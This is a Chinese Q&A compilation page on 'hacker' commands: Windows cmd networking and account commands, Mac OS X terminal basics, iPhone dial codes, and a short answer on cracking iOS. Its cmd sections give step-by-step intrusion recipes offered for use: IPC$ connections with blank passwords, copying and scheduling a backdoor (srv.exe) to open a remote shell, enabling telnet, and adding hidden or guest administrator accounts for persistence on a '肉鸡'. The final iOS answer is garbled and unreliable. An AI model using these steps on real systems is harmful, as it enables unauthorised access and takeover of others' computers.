本文目录一览：
- 1、请问新手学黑客攻防要记哪些命令?
- 2、苹果Mac OS系统终端命令大全介绍?
- 3、黑客DOS入侵代码大全
- 4、跪求cmd黑客攻击指令和cmd电脑命令！悬赏大大滴有
- 5、iPhone的6个内置隐藏代码
- 6、如何破解苹果手机系统代码
请问新手学黑客攻防要记哪些命令?
黑客常用命令（不太全，只是我个人常用的）、、、、、 ping 测试
ping -a ip 对目标ip地址进行反向名称解析，如果解析成功，ping将显示相应的主机名
ping IP -t 连续对IP地址执行PING命令直到CTRL+C中断
ping IP -l 3000 指定PING命令中的数据长度为3000字节
netstat( local address本地地址，foreign address外部地址)
netstat -s 查看本机网络配置信息
netstat -e 查看连接数据包
netstat -r 查看路由表的各种信息
netstat -n 显示已建立连接
netstat -v 显示正在进行的工作
netstat -t 显示TCP协议的连接情况
netstat -a 显示所有SOCKET，包括正在监听的
netstat -u 显示UDP协议的连接情况
nslookup 域名 查询A记录
nslookup -q=mx 域名 查询MX记录
nslookup -q=ns 域名 查询ns记录
ipconfig 查看自己的本地连接和宽带连接
ipconfig /all 显示IP地址MAC地址等附加信息
ipconfig /batch bak-netcfg 将有关网络配置的信息备份到文件BAK-NETCFG中
ipconfig /release 1 去除网卡（适配器1）的动态IP地址
ipconfig /renew 1 为网卡重新动态分配IP地址
tracert 解析路由
dir 列出当前路径下的文件
dir /a 列出当前路径下所有文件包含隐藏的系统的文件
dir /ah 列出当前路径下隐藏的文件包括子目录隐藏的
dir /as 列出系统文件
dir /ad 列出子目录
dir /B 只显示文件名与扩展名
nbtstat -a IP 查看指定IP主机的NETBIOS信息
COPY命令巧妙捆绑：
copy 456.jpg/b + 123.txt/a 789.jpg
首先CD命令到文件的存放位置，456.jpg--文件名，123.txt--文件名，789.jpg--生成的789图片文件。/b--用于指定以二进制格式复制合并文件，/a--用于指定以ASCLL格式复制合并文件，二进制格式文件应该在+前，文本格式文件在+后。
cls 清屏命令
net user 系统账号类操作
net user 账号 密码 /add 建立账号命令
net user 账号 密码 /dll 删除账号命令
net localgroup 系统组操作
net use 远程连接 映射操作
net use \\IP\ipc$ "密码" /user:"用户" IPC￥连接
net use z: \\IP\c$ 映射网络驱动器（C盘到本地E盘）
net use * /del 断开所有IPC连接
net use \\IP\ipc$ /del 断开指定IP目标IPC连接
net time \\IP 查看目标主机的时间
copy 把一个文件拷贝到另一个地方（参照远程添加用户）
at 用来建立计划任务（参照远程添加用户）
net user 用来管理计算机上面的帐号（参照远程添加用户）
net localgroup 用来管理工作组（参照远程添加用户）
net send 信使命令
net start messenger 开启信使服务messenger
net stop messenger 关闭服务
net * 内容 向局域网所有用户发送消息
远程添加用户：
net user 用户名 密码 /add
net localgroup administrators 用户名 /add
命令一：添加一个用户
命令二：表示把用户添加到管理员组（administrators）
打开记事本，键入上面的命令，把该文件另存为后坠名是.bat的文件（这里记为hack.bat）
转到存放hack.bat的目录（比如D盘），键入copy hack.bat \\目标IP\c$ (这样就把hack.bat拷贝到了目标主机的C盘)
首先键入：net time \\目标IP 查看目标主机的时间，再键入： at \\目标IP 时间 要执行的命令。例：at \\192.168.1.1 c:hack.bat
net share 查看本机共享资源
at \\IP 时间 net share c: 使用计划任务开启共享资源
md f:\123..\ 建立超级文件夹（F指本地磁盘，123指文件夹名）
start f:\123..\ 进入超级文件夹
rd f:\123..\ 删除超级文件夹
shutdown -i 打开（关闭计算机）界面，可关指定远程计算机
shutdown -l 注销本计算机
shutdown -s 关闭本计算机
shutdown -r 关闭并重启本计算机
shutdown -a 放弃系统关机
shutdown -m \\(计算机名或IP) -s 远程关闭计算机
shutdown -m \\(计算机名或IP) -r 远程重启计算机
shutdown -m \\(计算机名或IP) -a 远程命令放弃
shutdown -t xx 设置关闭的超时为几秒（xx表示秒）
shutdown -c "comment" 关闭注释（最大127字符）
shutdown -f 强制运行的应用程序关闭而没有警告
shutdown -d [u][p]:xx:yy 关闭原因代码（u是用户代码，p是一个计划的代码，xx是一个主要原因代码[小于256的正整数]，yy是一个次要原因代码[小于65536的正整数]）
at 22:00 Shutdown -s 22：00关机
del d:文件夹\文件名 删除文件，d:指盘符。
cd.. 进入上一层
cd (文件夹名) 进入指定的文件夹
d: 进入D盘
nbtstat -a 计算机名或IP 显示指定计算机NETBIOS信息
nbtstat -n 显示本计算机的NETBIOS信息
nbtstat -c 显示本计算机NEBIOS名称缓存的内容
arp -a Ip 如果我们有多个网卡，那么使用arp -a加上接口的Ip地址，就可以只显示与该接口相关的ARp缓存项目。
arp -s Ip MAC物理地址 绑定其他电脑MAC地址，IP为：目标IP。
arp -d Ip 人工删除一个静态项目（MAC地址）。
format d： 格式化命令，d：代表盘符
format d:/q 快速格式化
format d:/u 无条件格式化
苹果Mac OS系统终端命令大全介绍?
OS X系统终端命令如下：
输入:sudo /Applications/TextEdit.app/Contents/MacOS/TextEdit /etc/hosts就可以用文本编辑来直接修改hosts了。
隐藏文件是否显示有很多种设置方法，最简单的要算在Mac终端输入命令。显示/隐藏Mac隐藏文件命令如下(注意其中的空格并且区分大小写)：
显示Mac隐藏文件的命令：defaults write com.apple.finder AppleShowAllFiles -bool true；
隐藏Mac隐藏文件的命令：defaults write com.apple.finder AppleShowAllFiles -bool false；
或者
显示Mac隐藏文件的命令：defaults write com.apple.finder AppleShowAllFiles YES；
隐藏Mac隐藏文件的命令：defaults write com.apple.finder AppleShowAllFiles NO；
输完单击Enter键，退出终端，重新启动Finder就可以了；
重启Finder：鼠标单击窗口左上角的苹果标志--强制退出--Finder--重新启动；
mac os x terminal清屏快捷键: cammand+k （clear其实没鸟用）
linux系统清屏快捷键 : ctrl+l (reset)
windows 命令行清屏命令: cls
OS X 采用的Unix文件系统，所有文件都挂在根目录 / 下面，所以不再有Windows 下的盘符概念。
在桌面上看到的硬盘都挂在 /Volumes 下。
比如接上个叫做 USBHD的移动硬盘，桌面上会显示出一个硬盘图标，它实际在哪里呢？
在终端里执行 ls /Volumes/USBHD, 看看显示出的是不是这个移动硬盘的内容。
根目录位置是 / 核心 Mach_kernel 就在这里，
驱动所在位置 /Systme/Library/Extensions
用户文件夹位置 /User/用户名
桌面的位置 /User/用户名/Desktop
文件通配符为星号 *
注意：在 Unix系统中是区别大小写字符的，A.txt 不等于 a.txt。
根目录标志 / 不是可有可无，cd /System 表示转到跟目录下的System中，而cd System 表示转到当前目录下的 System中
如何进入命令行操作模式
再图形界面下，用finder 打开 应用程序 》实用程序》终端
如果连图形界面都进不去了（比如安错了显示驱动），开机时按 F8，用－s参数启动，然后输入命令 mount -uw /
获得权限
为了防止误操作破坏系统，再用户状态下时没有权限操作系统重要文件的，所以先要取得root权限
sudo －s
然后输入密码，输入密码时没有任何回显，连星号都没有，只管输完回车就行了。
——————————————————————————————————————————————
基本命令
列出文件
ls 参数 目录名
例: 想看看跟目录下有什么，
ls /
想看看驱动目录下有什么，
ls /System/Library/Extensions
参数 -w 显示中文，-l 详细信息， -a 包括隐藏文件
转换目录
cd
例：想到驱动目录下溜达一圈
cd /System/Library/Extensions
建立新目录
mkdir 目录名
例：在驱动目录下建一个备份目录 backup
mkdir /System/Library/Extensions/backup
在桌面上建一个备份目录 backup
mkdir /User/用户名/Desktop/backup
拷贝文件
cp 参数 源文件 目标文件
例：想把桌面的Natit.kext 拷贝到驱动目录中
cp -R /User/用户名/Desktop/Natit.kext /System/Library/Extensions
参数R表示对目录进行递归操作，kext在图形界面下看起来是个文件，实际上是个文件夹。
把驱动目录下的所有文件备份到桌面backup
cp -R /System/Library/Extensions/* /User/用户名/Desktop/backup
删除文件
rm 参数 文件 （rm -rf 文件夹）
例：想删除驱动的缓存
rm -rf /System/Library/Extensions.kextcache
rm -rf /System/Library/Extensions.mkext
参数－rf 表示递归和强制，千万要小心使用，如果执行了 rm -rf / 系统就全没了
移动文件
mv 文件
例：想把AppleHDA.Kext 移到桌面
mv /System/Library/Extensions/AppleHDA.kext /User/用户名/Desktop
想把AppleHDA.Kext 移到备份目录中
mv /System/Library/Extensions/AppleHDA.kext /System/Library/Extensions/backup
更改文件权限
chmod 参数 权限 文件 (#add ch代表change)
例：把驱动目录下所有文件设定到root读写，其他用户只读
chmod -R 755 /System/Library/Extensions
参数R 表示递归，755表示各用户的权限
更改文件属主
chown 参数 用户:组 文件
例：把驱动目录下的所有文件属主改成根用户
chown -R root:wheel /System/Library/Extensions
参数R 表示递归操作
修复整个系统中文件的权限
diskutil repairpermissions /
严格的说这不是一个unix 命令，而是osx一个软件，记得修改或添加的驱动就执行一次。
文本编辑
nano 文件名
例：编辑natit Info.plist
nano /System/Library/Extensions/Natit.kext/Info.plist
编辑完成后 用 Ctrl ＋O 存盘，Ctrl＋X 退出
另一个文本编辑软件是 vi，操作有些古怪，熟了是非常好用的，而且在所有类Unix系统中都它，走遍天下都不怕了。
运行脚本命令
sh 脚本文件名
例 修改驱动后所有需要的操作存成一个脚本，以后修改了驱动后只要运行一次这个脚本就可以了，方便吧
1. 终端中运行nano /clean
2. 把下列代码粘贴到 nano 中
rm -rf /System/Library/Extensions.kextcache
rm -rf /System/Library/Extensions.mkext
chown -R root:wheel /System/Library/Extensions
chmod -R 755 /System/Library/Extensions
diskutil repairpermissions /
kextcache -k /System/Library/Extensions/
3. Ctrl ＋O 存盘，Ctrl＋X 退出
4. 以后只要动了驱动，就在终端中运行一次 sh /clean
小技巧
用 Tab 键自动补齐命令
比如想到 /System 目录中去，输入 cd /Sy 然后按一下Tab 键，命令就会自动补齐成 cd /System
操作带名字中带有空格的文件和目录
空格在命令中写成 空格， 比如要进入 My Documents，命令为 cd My Documents
查看命令的详细帮助
man 命令名（＃add manual）
比如要看看 ls 命令的详细用法，执行 man ls
典型操作流程
(假设已经制作好清理脚本，记得每次操作前 sudo -s 获得系统权限)
假设下载了一个显卡驱动 Natit.zip，在桌面解压得到了一个Natit.kext，该怎么做呢？
为了保险起见，先把所有驱动备份了再说
mkdir /User/用户名/Desktop/backup 在桌面上建立备份文件夹
cp -R /System/Library/Extensions/* /User/用户名/Desktop/backup 备份驱动文件
现在可以安心安装了
cp -R /User/用户名/Desktop/Natit.kext /System/Library/Extensions 把它 拷贝到系统驱动目录位置
sh /clean 执行清理脚本，操作完成
重新开机失败，进不去桌面了，发现不应该安这个驱动，怎么恢复呢？
开机按F8，用 -s 参数启动
执行 mount -uw /
rm -rf /User/用户名/Desktop/Natit.kext 删除这个驱动
sh /clean 执行清理脚本，操作完成
重启，回到原先状态了，不死心啊，没有特效怎么行呢，又听说需要修改 Natit的 Info. plist 文件才行，好，再来
cp -R /User/用户名/Desktop/Natit.kext /System/Library/Extensions 把它 拷贝到系统驱动目录位置
nano /System/Library/Extensions/Natit.kext/Info.plist
编辑完成后 用 Ctrl ＋O 存盘，Ctrl＋X 退出
sh /clean 执行清理脚本，操作完成
重启，这回对了，显卡特效都有了，该弄声卡了，天知道会出什么事，得把现有成果保护好。
mkdir /User/用户名/Desktop/gooddrivers 专为有效驱动建个目录
cp -R /System/Library/Extensions/Natit.kext /User/用户名/Desktop/gooddrivers 备份
这个声卡要求把 AppleHDA.kext 删除和编辑 AppleAzaliaAudio.kext中的Info.plist 文件，谁知道以后会不会还用AppleHDA呢，不如暂时禁用吧。
mkdir /System/Library/Extensions/disabled 建立个禁用目录
mv /System/Library/Extensions/AppleHDA.kext /System/Library/Extensions/disabled 移动过去
nano /System/Library/Extensions/Natit.kext/AppleAzaliaAudio.kext/Info.plist
编辑完成后 用 Ctrl ＋O 存盘，Ctrl＋X 退出
sh /clean 执行清理脚本，操作完成
成功了，也把修改好的驱动备份一下把复制内容到剪贴板代码。
黑客DOS入侵代码大全
没那么简单的！要入侵别人的电脑！要找出MAC然后搞清楚他的杀毒软件和防火墙！在计算那些的端口公式！还有切换周期！等等非常麻烦！你太小白了！
跪求cmd黑客攻击指令和cmd电脑命令！悬赏大大滴有
一 相关命令
建立空连接:
net use \\IP\ipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格)
建立非空连接:
net use \\IP\ipc$ "用户名" /user:"密码" (同样有3个空格)
映射默认共享:
net use z: \\IP\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘，其他盘类推)
如果已经和目标建立了ipc$，则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$
删除一个ipc$连接
net use \\IP\ipc$ /del
删除共享映射
net use c: /del 删除映射的c盘，其他盘类推
net use * /del 删除全部,会有提示要求按y确认
提示:对于不熟悉命令行操作的朋友来说.建立ipc$连接后,可以在"我的电脑"或"网上邻居"右键映射网络驱动器,效果一样.
二 经典入侵模式
1. C:\net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
这是用《流光》扫到的用户名是administrators，密码为"空"的IP地址(空口令?哇,运气好到家了)，如果是打算攻击的话，就可以用这样的命令来与127.0.0.1建立一个连接，因为密码为"空"，所以第一个引号处就不用输入，后面一个双引号里的是用户名，输入administrators，命令即可成功完成。
2. C:\copy srv.exe \\127.0.0.1\admin$
先复制srv.exe上去，在流光的Tools目录下就有（这里的$是指admin用户的c:\winnt\system32\，大家还可以使用c$、d$，意思是C盘与D盘，这看你要复制到什么地方去了）。
3. C:\net time \\127.0.0.1
查查时间，发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00，命令成功完成。
4. C:\at \\127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧（这里设置的时间要比主机时间快，不然你怎么启动啊，呵呵！）
5. C:\net time \\127.0.0.1
再查查到时间没有？如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05，那就准备开始下面的命令。
6. C:\telnet 127.0.0.1 99
这里会用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了，但是SRV是一次性的，下次登录还要再激活！所以我们打算建立一个Telnet服务！这就要用到ntlm了
7.C:\copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上（ntlm.exe也是在《流光》的Tools目录中）。
8. C:\WINNT\system32ntlm
输入ntlm启动（这里的C:\WINNT\system32指的是对方计算机，运行ntlm其实是让这个程序在对方计算机上运行）。当出现"DONE"的时候，就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务！
9.Telnet 127.0.0.1，接着输入用户名与密码就进入对方了，操作就像在DOS上操作一样简单！(然后你想做什么?想做什么就做什么吧,哈哈)
为了以防万一,我们再把guest激活加到管理组
10. C:\net user guest /active:yes
将对方的Guest用户激活
11. C:\net user guest 1234
将Guest的密码改为1234,或者你要设定的密码
12. C:\net localgroup administrators guest /add
将Guest变为Administrator^_^(如果管理员密码更改，guest帐号没改变的话，下次我们可以用guest再次访问这台计算机).
ipc$经典入侵步骤：
1、net use \\ip\ipc$ 密码 /user:用户名
2、copy 文件名 \\ip\c$
3、net time \\ip
4、at \\ip 时间 命令
5、入侵成功，连接你的肉鸡
常用的网络命令
net user 查看用户列表
net user 用户名 密码 /add 添加用户
net user 用户名 密码 更改用户密码
net localgroup administrators 用户名 /add 添加用户到管理组
net user 用户名 /delete 删除用户
net user 用户名 查看用户的基本情况
net user 用户名 /active:no 禁用该用户
net user 用户名 /active:yes 启用该用户
net share 查看计算机IPC$共享资源
net share 共享名 查看该共享的情况
net share 共享名=路径 设置共享。例如 net share c$=c:
net share 共享名 /delete 删除IPC$共享
net stop lanmanserver 关闭ipc$和默认共享依赖的服务
net use 查看IPC$连接情况
net use \\ip\ipc$ "密码" /user:"用户名" ipc$连接
net use \\ip\ipc$ /del 删除一个连接
net use z: \\目标IP\c$ "密码" /user:"用户名" 将对方的c盘映射为自己的z盘
net use z: /del
net time \\ip 查看远程计算机上的时间
copy 路径:\文件名 \\ip\共享名复制文件到已经ipc$连接的计算机上
net view ip 查看计算机上的共享资源
at 查看自己计算机上的计划作业
at \\ip 查看远程计算机上的计划作业
at \\ip 时间 命令(注意加盘符) 在远程计算机上加一个作业
at \\ip 计划作业ID /delete 删除远程计算机上的一个计划作业
at \\ip all /delete 删除远程计算机上的全部计划作业
at \\ip time "echo 5 c:\t.txt" 在远程计算机上建立文本文件t.txt；
下面纯手打，上面是度娘给的
taskkill /im 进程名 停止运行
tasklisy 查看运行进程
ipconfig 查看本机IP
md 创建文件夹
rd 删除文件夹
echo off .txt|exit 添加文本
echo 内容 .txt 给文本添加内容
copy 复制文件
net user 用户名 密码/add 创建一个普通账号
net localgroup administrators 用户名 /add 把账户加入超级用户组
iPhone的6个内置隐藏代码
每一部手机都有一些内置的隐藏代码，主要是工程师测试使用的，今天我们要介绍的是iPhone的6个内置隐藏代码。
每一部手机都有一些内置的隐藏代码，我们称之为“指令”，这些代码加在一起就叫做“指令集”。当然这些代码并不是预留给消费者平常使用的，而主要是工程师测试使用的。今天，我们要介绍的是网友“叫春的猫”分享的iPhone的6个内置隐藏代码。
事实上，这些代码伴随着手机产生的那一天开始就已经存在了。从诺基亚功能机时代开始，大家应该就听过软格/硬格的说法，部分手机只需要用键盘输入*#7370#就可以软格式化手机，也就是我们常说的恢复出厂设置，如果遇到无法开机的情况，还可以通过长按拨号键+*+3键，然后再按开机键对手机进行硬格式化。
到了智能机时代，这些代码依旧是存在的，三星手机就有一个非常强大的内置代码*#0*#，用户只要输入这个代码，就可以显示出各种详细的检测功能，可以用于检测三星手机的屏幕显示有无坏点、变色等问题，当然，还可以检测触屏好坏、扬声器、振动马达和摄像头等等，是一个非常实用的功能。可惜的是，iPhone并没有这个代码。
其实，我们此前曾经提到过关于iPhone的内置代码，比如在拨号界面输入*3001#12345#*就可以将信号点切换为准确的数字显示。那么现在就带大家一起再试试其它几个常见的iPhone内置指令吧。
1.最常用的“*#06#”
可以查看手机真实的IMEI号码，如果是被修改过IMEI的iPhone，输入*#06#即可显示出真实的IMEI，网友们可以将显示出来的这个IMEI和“设置--通用--关于本机”里面的IMEI进行对比，以确认该号码是否被修改过。
2.输入“*#21#”再拨号
这个指令可以查询iPhone手机所有来电转移的设置情况，包括语音和短信等功能。
3.输入“**21*+手机号码+#”，然后再拨号
这个指令的作用是设定将所有来电转接到输入的手机号码。
4.输入“##21#”，再拨号
这个代码的用途是取消所有的呼叫转移设置。
5.输入“*#5005*7672#”，再拨号
这个代码可以查询短信中心号码，用手机这么多年来，网友们可能也有碰到过手机换了卡之后，所有功能都正常，就是不能发短信的情况，问题就出在这个短信中心号码没有设置正确，联通、移动、电信的短信中心号码都是不一样的。我们可以拨打运营商电话，然后设置这个短信中心号码，或者简单一点，自己查询。
6.输入“*#62#”，再拨号
这个代码可以查询手机在没有信号，或者查看关机的时候iPhone手机的来电或信息转移状态。
如何破解苹果手机系统代码
国外神奇小子可以破解，目前还有其他国家的黑客，只破解了一半就被苹果公司拦截了，苹果代码用了三四种语法写的，有c++，还有java和苹果自家的语法工具，还有一个叫C需要，上了锁的并非难事，不过很复杂的，需要费很大的功夫才行的。目前黑客都给苹果找漏洞了，找一个漏洞苹果公司奖励30到100万美元。你可想谁愿意做黑客？
